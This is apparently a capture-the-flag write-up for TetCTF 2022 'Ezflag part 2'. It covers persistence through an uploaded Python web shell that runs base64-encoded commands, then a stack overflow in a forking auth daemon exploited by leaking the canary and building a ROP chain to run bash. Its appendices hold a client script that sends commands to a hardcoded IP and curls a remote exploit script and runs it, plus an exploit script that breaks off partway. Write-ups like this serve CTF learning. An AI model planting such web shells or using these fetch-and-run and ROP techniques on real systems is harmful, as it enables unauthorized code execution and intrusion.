# Ezflag part 2# Persistance
Even though we can execute our own command now, but it’s rather annoying that we need to upload a new file each time we need to execute a new command, therefore I decided to upload a web shell, so I can easily execute command as I wish.
```pythonimport socketimport base64import oscmd = os.environ.get('QUERY_STRING')os.system(base64.b64decode(cmd))#curl [server]/uploads/webshell.py?[base64 encoded command]```
This simple web shell takes a base64 encoded command as it’s query string, execute it, and show it’s result. I later write a simple script to interact it and use it as a shell.
```pythonwebshell $ iduid=33(www-data) gid=33(www-data) groups=33(www-data)```
# One step deeper
From the result above we can see that we are only www-data, and have pretty limited permission. Listing the root directory shows that there is a flag2 file only readable as daemon. From the upload.py file we know that there is a authorization service run on the server run by the daemon. The service seems to be running the auth file that also located in the root directory (results of ps aux also confirms this). I copy the auth file to the upload directory, change the permission, then curl the server from local machine to get the binary to local machine.
```pythonwebshell $ ls -al /total 864drwxr-xr-x   1 root   root     4096 Jan  1 00:06 .drwxr-xr-x   1 root   root     4096 Jan  1 00:06 ..-rwxr-xr-x   1 root   root        0 Jan  1 00:06 .dockerenv-r-xr--r--   1 daemon daemon 802768 Dec 31 22:39 authlrwxrwxrwx   1 root   root        7 Oct  6 16:47 bin -> usr/bindrwxr-xr-x   2 root   root     4096 Apr 15  2020 bootdrwxr-xr-x   5 root   root      340 Jan  1 03:44 devdrwxr-xr-x   1 root   root     4096 Jan  1 00:06 etc-r--r--r--   1 root   root       41 Jan  1 00:03 flag-r--------   1 daemon daemon     41 Jan  1 00:03 flag2drwxr-xr-x   2 root   root     4096 Apr 15  2020 homelrwxrwxrwx   1 root   root        7 Oct  6 16:47 lib -> usr/liblrwxrwxrwx   1 root   root        9 Oct  6 16:47 lib32 -> usr/lib32lrwxrwxrwx   1 root   root        9 Oct  6 16:47 lib64 -> usr/lib64lrwxrwxrwx   1 root   root       10 Oct  6 16:47 libx32 -> usr/libx32drwxr-xr-x   2 root   root     4096 Oct  6 16:47 mediadrwxr-xr-x   2 root   root     4096 Oct  6 16:47 mntdrwxr-xr-x   2 root   root     4096 Oct  6 16:47 optdr-xr-xr-x 995 root   root        0 Jan  1 03:44 procdrwx------   1 root   root     4096 Jan  1 03:40 rootdrwxr-xr-x   1 root   root     4096 Jan  1 00:06 run-rwxr-xr-x   1   1000   1000    189 Dec 31 15:29 run.shlrwxrwxrwx   1 root   root        8 Oct  6 16:47 sbin -> usr/sbindrwxr-xr-x   2 root   root     4096 Oct  6 16:47 srvdr-xr-xr-x  13 root   root        0 Jan  1 03:44 sysdrwxrwxrwt   1 root   root     4096 Jan  1 06:57 tmpdrwxr-xr-x   1 root   root     4096 Jan  1 00:05 usrdrwxr-xr-x   1 root   root     4096 Jan  1 00:05 varwebshell $ cp /auth /var/www/uploads/bronson113/auth.binwebshell $ chmod 777 auth.bin```
# Vulnerability
In the authorization file, function we are interested locates at 0x0401f10
![reversed_func_0x0401f10](https://bronson113.github.io/img/TetCTF2022-ezflag.png)
We can see that it attempts to copy the received buff onto the stack variable, effectively doing a memcopy on the stack, but since it doesn’t reserve enough space for the buff, we can overflow and control rip. 
# Exploitation
We know that we can control rip by overwriting the return pointer. However stack canary is enabled in this binary, so we need to leak the canary first. Since the service daemon is forking itself for each connection, the layout and canary won’t change between connection, so we just need two connections, one to leak and one to pwn. 
Initially I tried to use the rop chain generated by ropper but it’s too long, and the shell doesn’t pop back through socket. I also realize that the rop chain runs on a different process, therefore we need to do other stuff to get our flag.
I end up constructing a rop chain to call `execve ("/bin/bash",["/bin/bash","-c",cmd],0)` then copy the flag file and change the permission to read it through web shell.
part 2 flag: `TetCTF{cc17b4cd7d2e4cb0af9ef992e472b3ab}`
# Appendix 1 - shell.py
```pythonimport requestsimport base64from pwn import *ip = ""webserver_port = 0def send_cmd(s):    s = s+";echo a;"    cmd = base64.b64encode(s.encode()).decode('latin-1')    payload = f"http://18.191.117.63:9090/uploads/bronson113/webshell.py?{cmd}"    print(payload)    r = requests.get(payload)    if r.text[:9]=="[base64] ":        print("base64 data:", base64.b64decode(r.text[9:-2]))    if r.text[:6]== "[exp] ":        raw_data = base64.b64decode(r.text[6:-2])        print(f"raw_data: {raw_data}")        print(','.join(hex(u64(raw_data[i:i+8])) for i in range(8, len(raw_data), 8)))
    else:        print(r.text[:-2])
while True:    s = input(">> ").strip()    if s=="exp":        send_cmd(f"curl https://{ip}:{webserver_port}/exp.py > local_exp_bronson113_v1.py;python3 local_exp_bronson113_v1.py")    else:        send_cmd(s)
#TetCTF{65e95f4eacc1fe7010616e051f1c610a}```
# Appendix 2 - exp.py
```pythonimport socketimport base64from struct import pack, unpackfrom time import sleepp = lambda x : pack('Q', x)u = lambda x : unpack('